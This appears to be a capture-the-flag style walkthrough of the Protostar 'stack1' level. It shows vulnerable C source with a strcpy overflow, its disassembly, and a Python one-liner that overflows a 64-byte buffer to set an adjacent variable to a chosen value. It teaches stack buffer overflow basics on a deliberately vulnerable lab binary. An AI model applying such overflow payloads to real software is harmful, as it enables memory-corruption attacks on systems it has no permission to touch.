This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory.
This level is at /opt/protostar/bin/stack1
Hints
If you are unfamiliar with the hexadecimal being displayed, “man ascii” is your friend.
Protostar is little endian
Enumeration
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
I’m not going to go into as much detail with this one as we have the basics nailed, let’s start with disassembly:
0x08048464 <main+0>: push ebp
0x08048465 <main+1>: mov ebp,esp
0x08048467 <main+3>: and esp,0xfffffff0
0x0804846a <main+6>: sub esp,0x60
0x0804846d <main+9>: cmp DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>: jne 0x8048487 <main+35>
0x08048473 <main+15>: mov DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>: mov DWORD PTR [esp],0x1
0x08048482 <main+30>: call 0x8048388 <errx@plt>
0x08048487 <main+35>: mov DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>: mov eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>: add eax,0x4
0x08048495 <main+49>: mov eax,DWORD PTR [eax]
0x08048497 <main+51>: mov DWORD PTR [esp+0x4],eax
0x0804849b <main+55>: lea eax,[esp+0x1c]
0x0804849f <main+59>: mov DWORD PTR [esp],eax
0x080484a2 <main+62>: call 0x8048368 <strcpy@plt>
0x080484a7 <main+67>: mov eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>: cmp eax,0x61626364
0x080484b0 <main+76>: jne 0x80484c0 <main+92>
0x080484b2 <main+78>: mov DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>: call 0x8048398 <puts@plt>
Let’s identify variables, we see:
0x08048487 <main+35>: mov DWORD PTR [esp+0x5c],0x0
Looks to be our modified variable that we want to over-write. Our buffer can also be found over at:
0x0804849b <main+55>: lea eax,[esp+0x1c]
We can check the diffence to get our buffer size:
PWN
Let’s see what happens if we pass a normal value size:
./stack1 $(python -c "print('A'*64)")
We see we’ve got a perfect value of 0, what if we added onto this?
We can see the value of our modified
variable changes. We could convert the hex values OR we could just pass them directly to the binary:
./stack1 $(python -c "print('A'*64+'\x64\x63\x62\x61')")